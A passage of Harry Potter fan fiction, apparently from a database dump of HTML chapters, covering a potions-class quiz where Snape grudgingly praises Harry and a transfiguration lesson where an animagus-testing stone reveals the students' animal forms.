restrained by Harry so that he didn\'t say anything to Snape. There was no\nreason to loose anymore points than they already had. Snape continued in his\nsnobbish tone of voice though he had seen Harry restrain Ron.</p>\n\n<p>&quot; I do\nseem to remember telling you that the essay was supposed to be only three\nscrolls. I wasn\'t surprised to see that you handed in nine scrolls of\nvery...very small writing. Ten points off the Gryffindors for Ms. Grangers\ndisobedience.&quot;</p>\n\n<p>He then looked\nback and forth between Malfoy and Harry, before finally holding up one of the\ntwo papers left in his hand. &quot; This paper,..&quot; he said &quot; When I\nread this paper, I was surprised. It was clearly written, thoroughly researched\nthough not as much as Ms. Granger\'s, then again no ones ever is. Not only did\nthis paper cover all the points I listed in the assignment sheet it covered one\nthat I had overlooked before handing out the assignment sheets.&quot; Malfoy\nlooked very happy to hear the praises and was positively beaming. </p>\n\n<p>&quot; ...\nImagine my surprise when I find that it was written by none other than our\nresident celebrity, Mr. Potter.&quot; Harry\'s name came out of Snape\'s mouth\nwith a hiss.</p>\n\n<p>Everyone in\nthe class looked at Harry like he was Lord Voldemort. &quot; Even the\npenmanship was good. Three and three fifth points off the Gryffindors for Mr.\nPotter\'s inability to write his name in a clear way at the front of the scrolls\nas asked, instead of putting them on the back of the scrolls.&quot;</p>\n\n<p>Malfoy so shocked\nwhen he heard that the only thing his archenemy did wrong was the fact that he\nwas written the name in the wrong place. But that was not the only surprise for\nhim. Professor Snape was looking at his class pet like a vermin. &quot; Mr.\nMalfoy good essay. I expected more from one of my own.&quot; </p>\n\n<p>Harry\'s face\nhad changed from normal to pale white to pale white with a sickening shade of\nred. He had expected a lot of things for Professor Snape to criticize. The\nGryffindor were shocked enough that most of their mouths hung open. Ron looked\nlike he had been petrified. Hermione was the only person in the room who wasn\'t\nsurprised. She patted him on the back and said, &quot; I told you. Hard work\nalways pays off.&quot;</p>\n\n<p>&quot; That\'s\nenough public show of affection, Ms. Granger.&quot; Hermione blushed and\nremoved her hand from Harry\'s back. &quot; Now I have a treat for all of you.\nThere is going to be a quiz session now. Every right answer saves the\nGryffindors from getting a detention and the Slytherins a point. Wrong answers\nare automatic detentions. Just to make it interesting I choose the\nrepresentative from each of the houses.&quot;</p>\n\n<p>Everyone was\ncertain Professor Snape would pick Neville for Gryffindors and Malfoy for the Slytherins.\nNeville expecting this quickly jumped off his seat and hid under the table. But\nthat day was the day of surprises. </p>\n\n<p>&quot; Mr.\nPotter and Mr. Malfoy, make you way to the front of the room. Ms. Granger I\nwant you to look the other way since I have a feeling that you\'ll tell Mr.\nPotter something, if I&#8217;m not looking.&quot; Hermione looked offended at the\nsuggestion, however true it might have had been. Hermione would have had tried\nto give answers to Harry. </p>\n\n<p>Harry and\nMalfoy took the seats that Professor Snape had pointed towards each of them. &quot;\nName two potions that involve the tree of life? Gryffindor.&quot;</p>\n\n<p>&quot; Wolfsbane\nand Soul inhibitor Potion&quot; said Harry nonchalantly. Professor Snape was\nsurprised to see him answer the question but went to the next question after\nrecovering quickly.</p>\n\n<p>&quot; Name\ntwo uses of Boomslang? Slytherin&quot; the Gryffindors were outraged. They had\njust done an essay on the topic so it was hardly fair that the Slytherins would\nget to answer questions based on that while Professor Snape asked questions\nthat might well been a few years ahead. &quot; Narcotic agent and cleaning\nagent&quot; answered Malfoy.</p>\n\n<p>&quot; This\nquestion isn\'t on the sheet... Mr. Potter name the main ingredients of the Soul\ninhibitor potion?&quot;</p>\n\n<p>&quot; Blood\nof Chimera and a Bach from the tree of life.&quot; </p>\n\n<p>&quot; For\nthirty points for your house Mr. Malfoy I would like you to answer the following\nquestion. Name a requirement of the Polyjuice potion?&quot;</p>\n\n<p>&quot;\nSomething like a hair sample of the intended person&quot;</p>\n\n<p>&quot; Good\nwork. Thirty points to the Slytherins...&quot; He looked at Harry and said,</p>\n\n<p>&quot; Mr.\nPotter if you can answer this I\'ll award your house thirty points and if you\ndon\'t I\'ll give you a detention. But if you answer, and it\'s wrong, then your\nGryffindor buddies would be in detention.&quot;</p>\n\n<p>Harry thought\nthat he knew how sinister Snape could be, but the last comment made him appear\na close second to Lord Voldemort himself. &quot; While you enjoy a nice\nrelaxing day.&quot;</p>\n\n<p>&quot; What\'s\nthe Question?&quot; asked Harry a bit worried. &nbsp;</p>\n\n<p>&quot; That\'s\nthe catch, Potter. You don\'t know.&#8221; Snape was snarling. &#8220; Do you give up or\nanswer?&quot; answered back Professor Snape with an evil smirk on his face.\nHarry took a fraction of a second to think it through. Snape was definitely\ntrying to get him to get a detention. He decided that he wanted to try anyway. &quot;\nI\'ll answer.&quot; </p>\n\n<p>There was a\nloud cry from Neville who said, &quot; Don\'t do it, Harry.&quot;</p>\n\n<p>&quot; What is\nthe purpose of the Soul Inhibitor Potion and name five different side effects?\nMr. Potter&quot;</p>\n\n<p>Hermione\'s\nheart jumped. <i>&#8216; I should have had told him about side effects. He won&#8217;t know\nany...&#8217; </i>&nbsp;thought Hermione as she tried to calm her panicked mind. </p>\n\n<p>&quot; Takes\naway pain from the person. Effective only if administered within ten minutes of\nthe start of the pain.&quot; Harry did a quick glance at Hermione and then\nlooked straight at the wall before answering, &quot; Vomiting, Passing out,\ntwitching of the left big toe.&quot; </p>\n\n<p>A small pause\nled Professor Snape to believe that Harry could not think of the rest. He was\ngetting ready to celebrate, when Harry, like his father a long time ago,\ndestroyed his plans. &quot; In a man it causes them to grow toe hair. In a\nwoman between the ages of thirteen and sixty-nine it increases hormonal level.\nIt basically leaves a woman unable to bear children for approximately a five\nyear period or to be exact 1509 days.&quot;</p>\n\n<p>Harry saw the\nlook on the faces of many of the boys and thought, <i>&#8216; No use guys. The girls\nhad to be in severe pain before you can administer it.&#8217; </i></p>\n\n<p>He inwardly\nsmiled at the boys who looked like had taken a mental note to remember the name\nof the potion. Hermione\'s heart jumped. <i>&#8216; He knew. He didn\'t tell me. Why\nwould he do that?&#8217; </i>&nbsp;</p>\n\n<p>Her face\nstarted to turn red when she heard, &quot; I\'m surprised Mr. Potter. It\'s\nalmost as if you have had experience with the potion yourself.&quot; </p>\n\n<p>&quot; No sir.\nIt was in one of the books that Mr. Pas- I mean Professor Pasha gave me.&quot; Came\nthe quick reply from Harry. </p>\n\n<p>Professor\nSnape desperately didn&#8217;t want to give any points to the Gryffindor house. He\nstarted to grasp at straws, like he always did. &quot;Oh so you admit that you\nhad a teacher\'s help in preparing for the test. I\'m afraid I\'ll have to take\nfive points off the Gryffindors for cheating.&quot; </p>\n\n<p>Everyone knew\nwhat Professor Snape was doing, but they dared not to say anything. Harry could\nhave said something, but he really didn\'t care how many points Snape took off,\nas there was no way Professor Snape could stop Harry and rest of the\nGryffindors from getting them back in other classes. Snape\'s eyes twinkled and\nhis smile went even more evil then it was before. </p>\n\n<p>The quiz\nsession lasted for another five minutes in which time Harry didn\'t miss a\nsingle question, but Snape didn\'t offer any extra points to either of the\nhouses. He had made the mistake of underestimating Harry&#8217;s intelligence once;\nhe wasn&#8217;t about to do it again. Not soon after he made the first one. Deep\ninside.... Granted very very very deep inside, he felt proud that Harry was\nbeginning to show Lily&#8217;s prowess in potions.</p>\n\n<p>More than his\nlife, Professor Snape, hoped that Harry was strong enough to defeat Lord Voldemort.\nHis hatred for the dark lord was only equal to that of a few people. Harry was\namongst them. The dark lord had taken so much from him, so many he cared\ngreatly about. Though he knew that Lily, as his first love was amongst them,\nshe was not the reason he had switched allegiances during the darker times of\nLord Voldemort&#8217;s rule. He was never in love with her enough to cause any\nreaction like the one that made him change his allegiance. </p>\n\n<p>His reasons\nfor changing sides were to do with an event that occurred about six months\nbefore the downfall of the Dark lord. To this day, events of that night haunted\nhis dreams. So much so for the last fifteen years he had been taking a potion\nto go to a dreamless sleep. Side effects were his greasy hair. But recently\nsomething happened that made his life a much better thing. He noticed it a few\ndays ago that he had forgotten to take his potion, before going to sleep. Yet\nhe dreamed not of the event of that night, but of.....</p>\n\n<p>&nbsp;</p>\n\n<p>After the quiz\nsession there was only fifteen minutes of the class left and it was abnormally\nnormal. Neville managed to spill his cauldron three times (a record for him).\nProfessor Snape had paired Harry with Pansy Parkinson and she was behaving like\na klutz. The only thing that was any different than his normal potion class was\nthe fact that Hermione was avoiding looking at Harry.</p>\n\n<p><i>&#8216; She must\nbe a little embarrassed about her situation... I\'ll have to have a talk with\nher soon&#8217; </i>&nbsp;thought Harry as he busied himself with the cauldron. From time\nto time, he patted his right hand side pocket in his cloak to see if the\ncushioning charm inside was still working. There was something long and thin in\nthere, but someone had to watch for a long time to see.</p>\n\n<p>Once the class\nwas finished, Harry saw Hermione leave so quickly out the door that she didn\'t\nnotice leaving her potions book behind. He was about to leave the room when he\nremembered what he had for Snape. He turned to where Ron had been standing to\ngive him the book to give it to Hermione when he saw that Ron was already\nhalfway to catching up with Hermione. Professor Snape was sitting at his desk\nand busily going over the lesson plan for his next class while he took\nminuscule bites from the sandwich in his right hand. &quot; ... yes, Potter can\nI do something for you?&quot; there was a bitterness in it as always but it was\nless than it was usually. </p>\n\n<p>&quot; Sir. I\nstayed with Professor Pasha, during the holidays...&quot; Harry started to say\nbut was interrupted by Snape</p>\n\n<p>&quot; So\nwhat. I stayed with my cousin Balthazar. Get to the point, Potter.&quot;</p>\n\n<p>&quot; He told\nme the story of how you were friends with my mother even though most of the Slytherins\nand shamefully the her own housemates hated and picked on her. I would like to\nexpress my deepest thanks to you for the invaluable friendship that you no\ndoubt provided her with. As a token of my thanks I would like you to accept\nthis.&quot; It was a bowl and a small round bit of stone.</p>\n\n<p>Professor\nSnape was confounded but when he saw what the boy had given him he was ready to\ndie. &quot; Potter, is this what I think it is?&quot; Professor Snape was\nshaking uncontrollably when he saw a golden crest on the side of the stone\nbowl. </p>\n\n<p>&quot; An\noriginal Mortar and Pestle made by the famous Alchemist Methyl Magda. I know he\ndied in the Shozar wars and all his works lost... I found it on the streets of Morocco and thought you might\nlike it.&quot; </p>\n\n<p>&quot; How\nmuch did it cost? Even you can\'t afford this...&quot; he looked at Harry as he\nput down the stone bowl from his shaking hands. &quot; It\'s well over twenty\nthousand galleons worth...&quot; <i>&#8216; Not to mention it\'s priceless to a true\npotions aficionado like myself.&#8217;</i> thought Snape. </p>\n\n<p>&quot; You\ndon\'t have to think of the cost. I\'m giving it to you for all that you did for\nmy mother. This is no way anything other than to say my thanks for being there\nfor my mom.&quot; As Harry left he thought he heard a mumbled thanks as he left\nbut dismissed the concept of Snape of ever saying thanks to him.</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as he\nwas out of the classroom, Harry ran towards the secret passageway that he\nremembered led right to the great hall. Less than twenty seconds into the\npassageway, he tripped on something small inside the dimly lighted passageway\nand fell on top of a person.<i> &#8216; Great Merlin! Three days and I\'m still\ntripping on top of people. If this is another girl I\'m definitely doing a curse\nremoval ceremony.&#8217; </i>&nbsp;</p>\n\n<p>He looked down\nto see the face of Hermione Granger. With an exasperated sigh he got to his\nfeet very fast. He was a bit too fast, so when he slipped on the back of his\nrobes, he didn\'t have enough time to actually try and recover. He looked up and\nsaw Hermione trying to stifle a giggle as she offered her hand. He took it.\nHermione as it seemed had forgotten that she was trying to avoid Harry.&#8221;\nThanks... Nice to see you haven\'t taken off in the other direction&quot; said\nHarry.</p>\n\n<p>Hermione\nblushed at the comment. She knew Harry had found out the common side effects of\nthe potion. She was hoping against all hopes that Harry wouldn\'t know why the\nChimera blood made a woman unable to bear children for five years. As if\nsensing what she had thought Harry replied, &quot; Don\'t worry... I didn\'t tell\nanyone about the potion.&quot; </p>\n\n<p>Harry suddenly\ngot a very mischievous grin before saying, &quot; You\'re free to go on sex\nrampage anytime you feel...&quot; He didn\'t get to finish the sentence when she\npunched him on the arm very fast and very hard. &quot; OW.&quot; He said\ngrabbing his arm where she had hurt him and started to rub it. Even when it\nhurt he didn\'t stop grinning at her.</p>\n\n<p><i>&#8216; Why does\nhe always smile like that?&#8217; </i>&nbsp;thought Hermione. &quot; I just hit you and you\'re\nhurting. So why in the hell are you grinning like an idiot?&quot; she asked.</p>\n\n<p>&quot; Because...\nnow you\'re normal. Well...&quot; he was going to add something more to make her\nhit him again but thought it was better that he didn\'t. &quot; Nah... you\'re\ntoo easy. Here take this.&quot; Hermione looked at what Harry offered her from\none of the pockets of his cloak. It was a small vial with a glowing green\npotion inside. </p>\n\n<p>&quot; You\nknow about \'Purifying Solutions\' too?&quot; she asked astounded. Before that\nday she hadn\'t realized how much work Harry had actually done over the summer.</p>\n\n<p>&quot; Of\ncourse I do. Didn\'t you think I would do my research properly?&quot; Harry saw\nHermione blush. &quot; It\'s your own fault. If you hadn\'t made me do all that\nstudying in the holidays...&quot;</p>\n\n<p>&quot; ...my\nfault&quot; she burst up in anger. &quot; As I recall someone wanted their\npowers to grow.&quot; Hermione retorted before realizing Harry had done that\njust to provoke her from the grin he had plastered all over his face. She\ndidn\'t stay mad long. She emptied the solution in her mouth and waited for a\ngreen glow to appear. She glowed green, for about a second and then she was\ncured of one of the dreaded side effect that Harry didn\'t tell Professor Snape.</p>\n\n<p>This one is\nrelated to the one about not being able to bear children. The potion increased\nthe sexual appetite of the females. It eventually becomes too much for the\nperson to handle and some people end up St. Mungo\'s hospital. The headmaster\ntold Hermione of this, since even she didn&#8217;t know of this particular part of\nthe side effect, on her first day at Hogwarts that year. She then realized that\nthis might have had been the reason that Professor Pasha owled the people\nmaking the potion for her everyday since they got back. </p>\n\n<p>But she didn\'t\nhave to worry about it anymore since Harry had thought to buy it when they were\nin Morocco though he didn\'t tell\nanyone about it. How Harry had got hold of the purifying potion, when it took\nseveral weeks to make one was a total mystery to Hermione, but she decided that\nit was a mystery she had no problem not getting an answer to.</p>\n\n<p>&quot; Thanks&quot;\nshe said. She gave Harry a small peck on the cheek and started to walk back\ntoward the exit. Harry quickly wiped away the area where she had kissed him. </p>\n\n<p>&quot; Did you\nhave to do that?&quot; he asked a little annoyed. His friend knew he didn\'t\nlike being kissed or hugged for too long and this one was definitely not\nnecessary in Harry\'s opinion.</p>\n\n<p>&quot; Let\'s\ngo we have transfiguration next...&quot; she said as she started to walk to the\nnext class. </p>\n\n<p>&quot; But I\nhaven\'t had my lunch yet...&quot; even as he said this Harry started to look\naround for something to turn into a bread. The he though about how long he\nspent talking with Hermione and Snape and realized that there was still over\ntwenty minutes left. &quot; Hey...&quot; he stopped and started to walk the\nother way.</p>\n\n<p>Hermione\nnoticed that the footsteps that were following her a few seconds ago were going\nthe opposite way. &quot; Where are you going?&quot; She asked, rushing to catch\nup to him. </p>\n\n<p>&quot; You\njust want to see Professor McGonagall again. I need food. I didn\'t have that\nmuch in the morning and all the tension in Potions class took its toll.&quot;\nHarry started to move even faster. Hermione had a hard time keeping up and when\nthey finally entered the Great Hall there were a few people about. </p>\n\n<p>Ron was taking\npart in a contest to see who actually can eat more pieces of the strawberry\nshort cake. Lavender was winning, and that was no mean feat! </p>\n\n<p>Hermione and\nHarry were both disgusted at the sight of them stuffing food in their mouth\nlike that and decided to seat as far from the pair as humanly possible. Harry\nonly ate a little bit as he was thinking about the summer assignment for\nTransfiguration. It was to find out about the way to becoming an animagus. The\ntopic was not what the students of the previous years had done. His thoughts\nabout transfiguration were interrupted when Hermione tapped on his shoulder to\ntell him it was time they left for next class.</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 21, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 21<br>\n<b>Chapter Name:</b> The Stone of Haguba &amp; the Ferret scaring</p>\n\n<p>On the way to\nthe first transfiguration class of the year, Ron made a lot of noise about\nspending all of Monday with the Slytherins. Hermione felt the same way but\nHarry just didn\'t care whether they were there or not. When they entered they\nsaw the Slytherins had already taken one side of the class so the Gryffindors\nchose the other side. Ron, Hermione and Harry sat on the front row.</p>\n\n<p>Professor\nMcGonagall entered the room with a small package in her hand, which she put\ndown on a stand that she made appear out of thin air. &quot; Good afternoon\nclass.&quot; She said as she looked around the class. </p>\n\n<p>Her eyes froze\nwhen she saw Harry. <i>&#8216; Merlin\'s Ghost! He looks like the exact duplicate of\nhis father... I only wish he were as good as that in his transfiguration class.\nWell he\'ll get there this year, if he sticks to what he\'s been doing. &#8217;</i></p>\n\n<p>&quot; I know\nyou all did well in your summer homework. Ten points to both Slytherin and the\nGryffindor houses. &quot; This got a big cheer from the Slytherins as now they\nwere ahead of the Gryffindors by over seventy points and they only had one\nclass. </p>\n\n<p>&quot; Settle\ndown class. I have to go over your homework with you.&quot; She turned her face\nto Hermione and said, &quot; Excellent research as always Ms. Granger. Your\nwriting was as always very conscious and clear. This paper might be included as\na part of the future textbook if I have my way. There was two very surprising\npapers amongst the rest of you. Mr. Longbottom.&quot; She looked at Neville\nwith awe and respect. </p>\n\n<p>&quot; I was\nreally impressed with the details in your description of how Goderic Gryffindor\nfelt the first time he transformed into the Lion. I dare say you would do well\nin class this year.&quot; Neville was stumped. He had never been very good at\ntransfiguration and would have had dropped it in the first year had he a\nchance. &quot; Thank you...&quot; was all he could say when she handed his\npaper back. </p>\n\n<p>She the turned\nto face Harry. &quot; The other paper was done by Mr. Potter. It was very good.\nI\'m sorry but I had initially thought it was either plagiarized or written by\nsomeone else. I see Ms. Granger has had a good influence on you..&quot;</p>\n\n<p>The whole\nclass turned to Harry when they heard that. Harry\'s ears were beginning to get\nred. Professor McGonagall took no notice of the surroundings nor of Harry\'s\ngrowing redness. &quot; Spending the holidays at Ms. Grangers house was a good\nidea. I have never seen a student with middle of the range marks to hand in\nwork that almost rivals that of Ms. Granger&#8217;s essay. Almos. I shudder to think\nwhat you could have had achieved had you been more focused on your studies from\nthe beginning. Ten points for both Ms. Granger and Mr. Potter. Twenty points\nfor Mr. Longbottom.&quot;</p>\n\n<p>Neville had\nthought getting the praise from normally strict Professor McGonagall would make\nhis day but he hardly knew what hit him when his homework got the house twenty\nwhole points. The only other time he had got any points was in his first year\nwhen he tried to stop Harry and two of his friends from going after the\nPhilosopher&#8217;s stone.</p>\n\n<p>Several of the\ngirls had imagined being in the same house as Harry all day long with nothing\nto do and they were jealous of her. They all started to send her daggers from\ntheir eyes and if looks could kill Hermione would have had died a hundred\ndeaths in the short time it took Professor McGonagall to tell the class about\nwhose house he had stayed in.</p>\n\n<p>Professor\nMcGonagall then turned to look at Ron, who watched as both his friends turned\npink. &quot; Mr. Weasley, Your assignment was surprisingly easy to read and\ncomprehend even though you didn\'t have Ms. Granger\'s help in writing it. Five\npoints to the Gryffindors.&quot; She did all the other students until only\nMalfoy was left. &quot; Mr. Malfoy this homework is not up to your usual\nstandard. I\'m afraid I\'ll have to deduct five points from the Slytherin house\nfor your drop in academic standards... I expected you to produce the second\nbest in the class, but I was very disappointed by your lack of effort.&quot;</p>\n\n<p>&quot; Well\nnow that we\'ve lost almost one third of the class time I suggest we pick up the\npace.&quot; said Professor McGonagall, as she went to the stand where the\npackage was and carefully revealed its content. It was a bright yellow stone,\nwhich sometimes glowed randomly. </p>\n\n<p>A few seconds\nafter it\'s exposure the glow of the stone seeped out of the stone and swirled\naround the stone in the air around it. Professor McGonagall spoke something\nthat Harry didn\'t hear but from Hermione\'s eager hand he could tell that it was\na question. Professor McGonagall smiled and asked her to answer the question. </p>\n\n<p>Hermione got\nup from her chair and said, &quot; It\'s the Haguba stone. It works as a means\nof testing whether or not a person can become a Animagi and displays the\ncreature suited for the person to become.&quot;</p>\n\n<p>&quot; Good\nanswer Hermione. Now we could use a simple potion to do this but it is an\nextremely painful process to go through. I\'ll demonstrate the use of the\nstone...&quot; she touched the stone and a ghost form of herself appeared in\nfront of her. Neville let out a shriek. It took a second for the translucent\nProfessor McGonagall to quickly turn into a cat. The cat made a small meow and\njumped toward the real Professor McGonagall before vanishing in mid air. &quot;\nNow Slytherins first. Remember even if you have no Animagi form you can still\ndo wand assisted transformations, so don\'t be disheartened.&quot;</p>\n\n<p>Only two of\nthe Slytherins had any effect on the stone. The first one was Pansy Parkinson.\nShe walked up to the stone confidently and put her had on the stone. Her ghost\nimage appeared, (Harry thought it looked like the ghost self of her, might have\nbeen a lot easier to talk to then the real one) and after a second, spent\nlooking at the class, she (the ghost) transformed into a Monarch Butterfly.</p>\n\n<p>The real Pansy\nlooked through her tear filled eyes at the beautiful butterfly flap its wings\nand move all over the class room. When the butterfly settled on Harry\'s nose, the\nreal Pansy turned pink and the butterfly vanished. She walked back to the line\nof Slytherins on her side of the room slowly under the hateful gaze of some of\nher fellow housemates. Malfoy looked furious when he saw that her butterfly\nform had landed on Harry\'s nose, but said nothing, as he was the next person to\ntouch the stone.</p>\n\n<p>What happened\nnext... surprised a lot of people. Malfoy put his hand on the stone and his\nghost form appeared. It stood there a few seconds and looked around the room.\nIt seemed it was checking to see if anyone was looking. Then the ghost form of\nDraco turned in to a ferret.</p>\n\n<p>&nbsp;Malfoy was\nhorrified, but the whole class burst into laughter... including his fellow\nhousemates. They remembered Professor Moody turning him into a ferret as a\npunishment. Professor McGonagall let out a laugh too before she composed\nherself. &quot; Settle down class. Now the Gryffindor. First up... Ms.\nBrown.&quot;</p>\n\n<p>Lavender was\nquite surprised to see that her Animagi form was a Parrot, though it didn\'t\nreally didn\'t surprise people because of the way she and Parvati always\ngossiped. There was not an Animagi form for neither Ron nor Parvati and they\nseemed quite upset by it. In both cases Professor McGonagall reminded them that\nthey can still do wand-based transformations, and people without Animagi\nabilities are usually better at that. When it was Hermione\'s turn Harry quickly\npatted her on the back and wished her good luck. Hermione\'s hand shook as she\nplaced it on the stone. </p>\n\n<p>To everyone&#8217;s\nsurprise Hermione&#8217;s ghost started to examine the real Hermione for a little\nbit. <i>&#8216; Just like her. Always looking into how things work&#8217;</i> though Harry\nfondly.</p>\n\n<p>Then the ghost\nform of Hermione turned into an exact duplicate of Professor McGonagall\'s cat.\nThen the cat did something none of the other transformed ghost-animals had done\nbefore. The fur stood on it&#8217;s ends and the cat changed it&#8217;s colors. It became\nlight grey with tiger stripes. The cat the jumped onto Harry\'s table. Harry had\none chance to pet the cat once before the image faded. </p>\n\n<p>When Hermione\ntook her hand off the stone she was greeted with the claps from Professor\nMcGonagall. &quot; Class, Hermione is what is called \'spotter\'. They have the\nability to switch between two markings in the same animal. It a very rare\nability and only come to very strong wizards and witches.&quot; </p>\n\n<p>Hermione\nbeamed as she went back to her seat. Hermione got a big hug from everyone of\nthe Gryffindors though Ron seemed a bit rigid. Dean and Seamus went next.\nUnfortunately neither one had any ability and quite oppositely to what Ron and Parvati\nwent through they were very happy. </p>\n\n<p>Harry assumed\nthat they were happy since they figured being good at wand based Animagi gave\nthem a wider selection of animals to become. It was Neville who was next.\nNeville was shaking as he went to the stone. Malfoy probably would have had\nmade a joke about Neville, but he remembered that he had turned into a ferret.</p>\n\n<p>When Neville\nput his hand on the stone a ghost form emerged that looked more confident that\nthe real one. The ghost form gave the real one a hug and started to walk\ntowards Malfoy. In mid step he transformed into a lion that looked a lot like the\none on all Gryffindor crests. </p>\n\n<p>The lion\nroared at Malfoy causing him to fall from his chair. Malfoy for a small amount\nof time thought that the translucent lion was going to attack him and so he\nscrambled backwards until he was backed up against the wall. The lion went\nright up to Malfoy\'s face and let out one more roar before disappearing. The\nwhole class was shocked to see that Neville\'s animagus form was a lion.</p>\n\n<p>Pansy\nParkinson started to clap first before all the Gryffindors joined in. Everyone\nassumed that the reason for Pansy\'s clapping was that he had managed to scare\nthe hell out of Malfoy. Her ex. </p>\n\n<p>But the truth\nwas even more surprising then anyone could have had guessed. When he\ntransformed she saw in him what no one else saw. Potential. </p>\n\n<p>Professor\nMcGonagall asked for silence and the class quickly settled down.</p>\n\n<p>&quot; Mr. Longbottom...\nThat was quite some transformation. The only other Lion in the registry had\nbeen Goderic Gryffindor himself. I do hope you decide to take up the\nchallenge.&quot; She looked at Neville for a few more seconds before deciding\nthat she should get back to the task at hand. </p>\n\n<p>&quot; Now Mr.\nPotter It appears you are the last person.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry knew no\nmatter how hard he tried, he was unique and bound to do something that no one\nexpects of him. He knew when it was his turn that he was going to do something\nthat would make him the conversation topic of months to come. So it didn\'t\nsurprise him when the whole class had to turn their head away as Harry\'s hand\napproached the stone. Upon touching the liquid aura erupted and drenched the\nwhole room in an unearthly shade of yellow light. </p>\n\n<p>For the first\nsecond nothing happened. But then a searing pain went through his entire body.\nHe could feel every cell in his body scream out in pain. Even with the intense\ntraining that he went through to get used to Hermione Astral Projecting with\nhim in Morocco, he had never come\nacross pain as bad as this before. The Cruciatus curse seemed like a harmless\ntickle against this and he was no longer able to stand it; he screamed in pain.\nIt was heard all over the castle and windows with magical glass shattered in\nclasses up and down and across the hall. </p>\n\n<p>Then, as\nsuddenly as the pain arrived, it was gone. It wasn\'t like the times when he\nlearned to overcome the pain like he had done with Astral Projection. No. This\nwas more like \'here one second gone the next\'. He wanted to collapse to the\nfloor but the stone wouldn\'t let him. Neither would it allow Harry to take his\nhand off it. He looked to where his two friends were and saw that Ron and\nNeville were working hard to stop Hermione from going to Harry\'s aid. He was\nsure they wanted to keep Hermione from having the same kind of pain.</p>\n\n<p>Harry tried to\nmake eye contact with Hermione. When she did make eye contact he mouthed the\nwords, &quot;Don\'t worry&quot;. This calmed her down immensely, as she let\nherself be moved to her seat by Ron and Neville. Right then three shimmering\nghost forms of Harry emerged from the Haguba stone.</p>\n\n<p>&nbsp;</p>\n\n<p>The ghost\nforms of Harry shook each other\'s hands before arguing for a second as to who\nwould go first. Their discussion was done in parseltongue and as such no one in\nthe class knew what they were talking about, except for Harry who knew what was\nto come and prepared himself for the inevitable return of the days of his\nsecond year at Hogwarts. </p>\n\n<p>The first\nHarry went over to Harry\'s original table and sat down on it rather than the\nchair. It then morphed into an exact duplicate of the cat that both Professor\nMcGonagall and Hermione. The cat the walked over to Hermione\'s table and\nchanged his markings like Hermione had done. Hermione tentatively reached out\nto pet it but it vanished before she could touch it.</p>\n\n<p>The next Harry\nwent to the back of the room and transformed into a dolphin floating in\nimaginary water. It did a flip in the air above the imaginary water before\ndisappearing and leaving the field open for the third and last Harry to\ntransform. As soon as the dolphin was gone all eyes fell up on the real Harry.\nThe only remaining ghost form of Harry seemed happy at this fact, until all the\nattention fell upon him. </p>\n\n<p>The\nGhost-Harry groaned and then started to run towards the side that had mild\nsunlight streaming through a window in it. Most of the students thought, this\nHarry didn\'t want to do the transformation, as they knew the real Harry was\nreluctant to show off. Everyone got out off their seat and followed the ghost\nversion of Harry. When they reached the window, they saw a blinding while\nflash. Once they saw what it was they scrambled to the back of the room. They\nwere all afraid of the creature that was on the other side of the glass. </p>\n\n<p>It was a\ndragon. </p>\n\n<p>Hermione had\nbeen the last person to get to the window but she didn\'t runaway from the\ndragon like the others had. The Dragon unlike all the other ghost transformations\nappeared to be almost solid. </p>\n\n<p>The dragon had\niridescent, pearly scales and glittering multicolored pupil less eyes. There\nwas a lightning shaped scar that started from above the left eye and finished a\nbit lower than the bottom lid, giving it the look of being wiser and more\nbattle hardened than it really was. The dragon backed away from the broken\nwindow and fired its purple flames at the Quidditch field. Noting really\nhappened since it was all an illusion. Hermione knew which dragon it was and knew\nfor a fact that unless the dragon wasn\'t provoked it wouldn\'t harm a human, but\nthat was hardly a problem since it was all an illusion.</p>\n\n<p>&quot;Antipodean\nOpaleye&quot; said Hermione. </p>\n\n<p>The large\nDragon blinked its eye once as if to agree with Hermione. The dragon then\ntwisted its body around and headed for the sun. It vanished in mid flight. As\nsoon as the dragon was gone every one looked at Harry like he knew they would. </p>\n\n<p>&#8216; At least\nthis time, they can&#8217;t think I tried to kill someone.&#8217; Thought Harry, seeing\nonly one positive out of the situation.</p>\n\n<p>Professor\nMcGonagall checked to see if Harry was alright before saying, &quot; That...\nThat was extra ordinary... I have to tell Professor Dumbledore.&quot; She\nstarted to move towards the door but the door opened first. </p>\n\n<p>&nbsp;</p>\n\n<p>It was Professor\nDumbledore.</p>\n\n<p>&quot; I don\'t\nthink that would be necessary Minerva. If I may, I would like to take Ms.\nGranger and Mr. Potter with me.&quot; </p>\n\n<p>&quot; Of\ncourse&quot; she said rather reluctantly. She wanted to see the last\ntransformation again but she couldn\'t refuse the headmaster\'s request. &quot;\nHarry and Hermione, please go with Professor Dumbledore&quot; she waited a\nsecond and said &quot; take your bags, I seriously doubt you\'ll be coming back\nhere today.&quot;</p>\n\n<p>Harry and\nHermione left the room together, leaving Ron alone to brew in his own jealousy.\nHe knew it wasn\'t Harry\'s fault that he attracted so much attention but he was\njealous of the fact that all the attention in the class was now focused on his\ntwo best friends, instead of just one. <i>Why did Hermione have to be a Spotter\n?</i></p>\n\n<p>Professor\nDumbledore led them to a room they had never seen before though the entrance to\nthe room was very close to the entrance of the kitchen. The door wasn\'t really\na door, rather stones of slightly darker tone. &quot; Rocket fuel&quot; said\nProfessor Dumbledore at the wall. </p>\n\n<p>Amazingly the\nbricks on the wall came to life. They grew matching arms, legs, eyes, ear, and\na mouth before they scrambled behind the three. The \'brick-men\' (or\nbrick-people for the politically correct) started to complain loudly amongst\nthemselves about being woken up so quickly after they had their lunch.</p>\n\n<p><i>&#8216; I wonder\nwhat happens to the door when they are at their lunch, for that matter what do\nthey eat and drink.&#8217;</i> thought Hermione. </p>\n\n<p>&nbsp;</p>\n\n<p>Once in the\nroom, the little brick people quickly laid down one on top of another until the\nwall was back again. Professor Dumbledore snapped his fingers and three\ncomfortable looking chairs appeared. Professor Dumbledore and Hermione took\nthem immediately but Harry looked at the seat like it was a hot element. Professor\nDumbledore changed Harry\'s seat into a school stool. Harry\'s face burst into a\nbig smile as he took the chair. &quot; Thanks&quot; he said.</p>\n\n<p>&quot; It\'s my\npleasure Harry.... Now on to the business at hand.&quot; </p>\n\n<p>He looked 